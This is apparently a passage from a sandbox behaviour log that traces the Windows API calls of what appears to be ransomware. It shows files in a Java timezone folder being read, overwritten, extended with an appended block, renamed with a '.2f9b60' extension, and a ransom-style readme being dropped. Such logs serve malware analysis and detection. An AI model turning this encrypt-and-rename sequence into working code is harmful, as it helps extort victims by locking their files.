[0184.411] sprintf (in: _Dest=0x42c18974, _Format="%c%c" | out: _Dest="6b") returned 2 [0184.411] sprintf (in: _Dest=0x42c18976, _Format="%c%c" | out: _Dest="18") returned 2 [0184.411] RtlInitAnsiString (in: DestinationString=0x44d5f828, SourceString="3195066d462ca29233496b18" | out: DestinationString="3195066d462ca29233496b18") [0184.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x44d5f7f8, SourceString="3195066d462ca29233496b18", AllocateDestinationString=1 | out: DestinationString="3195066d462ca29233496b18") returned 0x0 [0192.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fb30 [0192.175] RtlFreeAnsiString (AnsiString="3") [0192.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18960) returned 1 [0192.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d7e0) returned 1 [0192.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c188a0) returned 1 [0192.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8a40) returned 1 [0192.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9200) returned 1 [0192.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9140) returned 1 [0192.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9230) returned 1 [0192.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd91d0) returned 1 [0192.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18930) returned 1 [0192.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c183f0) returned 1 [0192.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c183c0) returned 1 [0192.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431d8720 [0192.182] wcscat (in: _Dest=0x431d8720, _Source="319506" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\319506") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\319506" [0192.182] wcscat (in: _Dest=0x431d8720, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\319506.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\319506.2f9b60" [0192.182] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\319506.2f9b60", NtPathName=0x44d5f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\319506.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431ca860 Thread: id = 2837 os_tid = 0x17dc [0160.257] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maseru" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\maseru")) returned 0x20 [0165.819] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maseru", dwFileAttributes=0x20) returned 1 [0166.861] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maseru" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\maseru"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2be4 [0167.722] GetFileSizeEx (in: hFile=0x2be4, lpFileSize=0x2a1afa00 | out: lpFileSize=0x2a1afa00*=89) returned 1 [0167.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0aa0 [0167.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac09e0 [0167.723] NtQuerySystemTime (in: CurrentTime=0x2a1af8c0 | out: CurrentTime=0x2a1af8c0*=132462177728398000) returned 0x0 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x7f0f1ffa [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x4d3740e [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x786389e0 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x22002d8c [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x19e1c986 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x7ef76afc [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x76c2e751 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x41e40b44 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x3543d1f9 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x7400f082 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x8c6f4c8 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x6ca3a383 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x354972fb [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x42b69cfc [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x325659a0 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x31236c2d [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x32d6e3e0 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x4d0c1664 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x4ea115cb [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x1739f809 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x5df734f2 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x2829ed93 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x54da98bb [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0xe53c0eb [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x69038121 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x5f9070a5 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x31fd746 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x744c789b [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x32977081 [0167.723] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x31d5cf60 [0167.724] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x21046510 [0167.724] RtlRandomEx (in: Seed=0x2a1af8b0 | out: Seed=0x2a1af8b0) returned 0x77d9f5a0 [0167.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c60 [0167.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0167.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c90 [0167.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0167.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac09e0) returned 1 [0167.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bb10 [0167.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0167.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f900b0 [0167.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fa2d00 [0167.735] ReadFile (in: hFile=0x2be4, lpBuffer=0x41f900b0, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2a1af8b0, lpOverlapped=0x0 | out: lpBuffer=0x41f900b0*, lpNumberOfBytesRead=0x2a1af8b0*=0x59, lpOverlapped=0x0) returned 1 [0167.737] SetFilePointerEx (in: hFile=0x2be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.737] WriteFile (in: hFile=0x2be4, lpBuffer=0x41fa2d00*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2a1af8b4, lpOverlapped=0x0 | out: lpBuffer=0x41fa2d00*, lpNumberOfBytesWritten=0x2a1af8b4*=0x59, lpOverlapped=0x0) returned 1 [0184.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7190 [0184.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec71c0 [0184.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec71c0) returned 1 [0184.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fa2d00) returned 1 [0184.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f900b0) returned 1 [0184.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0184.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb10) returned 1 [0184.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec71c0 [0184.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bb10 [0184.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0184.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec71f0 [0184.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec71f0) returned 1 [0184.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cec71f0 [0184.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7220 [0184.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7250 [0184.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7250) returned 1 [0184.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0184.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb10) returned 1 [0184.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x431be720 [0191.987] SetFilePointerEx (in: hFile=0x2be4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.987] WriteFile (in: hFile=0x2be4, lpBuffer=0x431be720*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2a1af9d0, lpOverlapped=0x0 | out: lpBuffer=0x431be720*, lpNumberOfBytesWritten=0x2a1af9d0*=0xfe, lpOverlapped=0x0) returned 1 [0207.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaee0 [0207.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a10 [0207.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0a10) returned 1 [0207.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d6c0 [0207.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a10 [0207.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a70 [0207.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0a70) returned 1 [0207.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaee0) returned 1 [0207.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42ac0a70 [0207.489] sprintf (in: _Dest=0x42ac0a70, _Format="%c%c" | out: _Dest="d2") returned 2 [0207.489] sprintf (in: _Dest=0x42ac0a72, _Format="%c%c" | out: _Dest="4b") returned 2 [0207.489] sprintf (in: _Dest=0x42ac0a74, _Format="%c%c" | out: _Dest="00") returned 2 [0207.489] sprintf (in: _Dest=0x42ac0a76, _Format="%c%c" | out: _Dest="6b") returned 2 [0207.489] sprintf (in: _Dest=0x42ac0a78, _Format="%c%c" | out: _Dest="3d") returned 2 [0207.489] sprintf (in: _Dest=0x42ac0a7a, _Format="%c%c" | out: _Dest="57") returned 2 [0207.489] sprintf (in: _Dest=0x42ac0a7c, _Format="%c%c" | out: _Dest="03") returned 2 [0207.489] sprintf (in: _Dest=0x42ac0a7e, _Format="%c%c" | out: _Dest="f0") returned 2 [0207.489] sprintf (in: _Dest=0x42ac0a80, _Format="%c%c" | out: _Dest="b6") returned 2 [0207.490] sprintf (in: _Dest=0x42ac0a82, _Format="%c%c" | out: _Dest="8f") returned 2 [0207.490] sprintf (in: _Dest=0x42ac0a84, _Format="%c%c" | out: _Dest="b3") returned 2 [0207.490] sprintf (in: _Dest=0x42ac0a86, _Format="%c%c" | out: _Dest="a7") returned 2 [0207.490] RtlInitAnsiString (in: DestinationString=0x2a1afa48, SourceString="d24b006b3d5703f0b68fb3a7" | out: DestinationString="d24b006b3d5703f0b68fb3a7") [0207.490] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a1afa18, SourceString="d24b006b3d5703f0b68fb3a7", AllocateDestinationString=1 | out: DestinationString="d24b006b3d5703f0b68fb3a7") returned 0x0 [0207.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431acb60 [0207.490] wcscat (in: _Dest=0x431a0cc0, _Source="d24b00" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d24b00") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d24b00" [0207.490] wcscat (in: _Dest=0x431a0cc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d24b00.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d24b00.2f9b60" [0207.490] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d24b00.2f9b60", NtPathName=0x2a1af9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d24b00.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c83e0 [0237.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c83e0) returned 1 [0237.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316f6b0) returned 1 [0237.686] NtQueryInformationFile (in: FileHandle=0x2be4, IoStatusBlock=0x2a1afa58, FileInformation=0x2a1afa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a1afa58, FileInformation=0x2a1afa68) returned 0x0 [0237.686] NtSetInformationFile (FileHandle=0x2be4, IoStatusBlock=0x2a1afa58, FileInformation=0x2a1afa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0cc0) returned 1 [0237.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431acb60) returned 1 [0237.967] FlushFileBuffers (hFile=0x2be4) returned 1 [0238.243] CloseHandle (hObject=0x2be4) returned 1 [0241.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a0de0 [0241.725] wcscpy (in: _Dest=0x431a0de0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.725] wcscat (in: _Dest=0x431a0de0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.725] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0de0) returned 1 [0243.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5ec00) returned 1 Thread: id = 2838 os_tid = 0x1a84 [0160.258] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mbabane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\mbabane")) returned 0x20 [0165.819] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mbabane", dwFileAttributes=0x20) returned 1 [0166.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mbabane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\mbabane"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bec [0167.738] GetFileSizeEx (in: hFile=0x2bec, lpFileSize=0x44e1fac0 | out: lpFileSize=0x44e1fac0*=65) returned 1 [0167.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac09e0 [0167.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c181e0 [0167.739] NtQuerySystemTime (in: CurrentTime=0x44e1f980 | out: CurrentTime=0x44e1f980*=132462177728554000) returned 0x0 [0167.739] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0xe7c375 [0167.739] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x48d4ccfa [0167.739] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x312efc1e [0167.739] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x101aa45e [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x3200a820 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x693317fc [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x7c1125ff [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x1a2769b2 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x3d886e25 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x395d5231 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x2a07418e [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x4ef4b0e9 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x60ab6b6b [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0xab245a1 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x39d16692 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0xe32befd [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x2d30df46 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x11074e25 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x1187cf13 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x513069a9 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x2e1fd454 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x4eacc7ac [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x4d0d1adc [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0xbc46bde [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x63cfbf03 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x498fec8f [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x322b80e0 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x54280cd4 [0167.740] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x496032f [0167.741] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x43a169c9 [0167.741] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0x293a913c [0167.741] RtlRandomEx (in: Seed=0x44e1f970 | out: Seed=0x44e1f970) returned 0xd3eeafb [0167.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18210 [0167.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0167.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18270 [0167.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0167.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c181e0) returned 1 [0167.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bb60 [0167.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0167.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb9560 [0167.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc85a0 [0167.757] ReadFile (in: hFile=0x2bec, lpBuffer=0x41fb9560, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x44e1f970, lpOverlapped=0x0 | out: lpBuffer=0x41fb9560*, lpNumberOfBytesRead=0x44e1f970*=0x41, lpOverlapped=0x0) returned 1 [0167.758] SetFilePointerEx (in: hFile=0x2bec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.758] WriteFile (in: hFile=0x2bec, lpBuffer=0x41fc85a0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x44e1f974, lpOverlapped=0x0 | out: lpBuffer=0x41fc85a0*, lpNumberOfBytesWritten=0x44e1f974*=0x41, lpOverlapped=0x0) returned 1 [0184.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec72b0 [0184.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec72e0 [0184.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec72e0) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc85a0) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb9560) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb60) returned 1 [0184.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec72e0 [0184.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bb60 [0184.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0184.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7310 [0184.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7310) returned 1 [0184.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec7310 [0184.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7340 [0184.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7370 [0184.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7370) returned 1 [0184.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0184.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bb60) returned 1 [0184.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x431c2720 [0192.019] SetFilePointerEx (in: hFile=0x2bec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.020] WriteFile (in: hFile=0x2bec, lpBuffer=0x431c2720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x44e1fa90, lpOverlapped=0x0 | out: lpBuffer=0x431c2720*, lpNumberOfBytesWritten=0x44e1fa90*=0x100, lpOverlapped=0x0) returned 1 [0207.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebae60 [0207.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c185d0 [0207.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c185d0) returned 1 [0207.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d700 [0207.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c185d0 [0207.499] RtlAllocateHeap 